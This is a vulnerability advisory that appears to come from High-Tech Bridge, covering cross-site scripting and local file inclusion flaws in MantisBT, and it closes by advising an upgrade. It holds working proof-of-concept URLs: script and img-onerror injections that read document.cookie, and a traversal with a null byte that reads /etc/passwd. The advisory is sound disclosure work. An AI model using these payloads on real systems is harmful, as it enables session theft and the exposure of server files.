Vulnerability Details:  
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in MantisBT, which can be exploited to perform cross-site scripting, local file inclusion attacks.  
  
1) Input passed via the "action" GET parameter to bug_actiongroup_ext_page.php & bug_actiongroup_page.php is not properly sanitised before being returned to the user.  
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.  
  
The following PoC code is available:  
  
http://[host]/bug_actiongroup_ext_page.php?bug_arr[]=1&action=EXT_%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
http://[host]/bug_actiongroup_page.php?bug_arr[]=[ISSUE_ID]&action=EXT_%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
  
2) Input passed via the "action" GET parameter to bug_actiongroup_ext_page.php & bug_actiongroup_page.php is not properly verified before being used to include files.   
This can be exploited to include arbitrary files from local resources via directory traversal sequences and URL-encoded NULL bytes.  
  
http://[host]/bug_actiongroup_ext_page.php?bug_arr[]=1&action=EXT_/../../../../../../../etc/passwd%00  
http://[host]/bug_actiongroup_page.php?bug_arr[]=[ISSUE_ID]&action=EXT_/../../../../../../../etc/passwd%00  
  
3) Input appended to the URL after manage_config_email_page.php & manage_config_workflow_page.php is not properly sanitised before being returned to the user.  
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.  
  
http://[host]/manage_config_email_page.php/%22%3E%3Cimg%20src=1%20onerror=%22javascript:alert%28document.cookie%29;%22%3E/  
http://[host]/manage_config_workflow_page.php/%22%3E%3Cimg%20src=1%20onerror=%22javascript:alert%28document.cookie%29;%22%3E/  
  
4) Input passed via the "platform", "os", "os_build", GET parameter to bug_report_page.php is not properly sanitised before being returned to the user.  
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.  
  
http://[host]/bug_report_page.php?platform=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
Solution: Upgrade to the most recent version
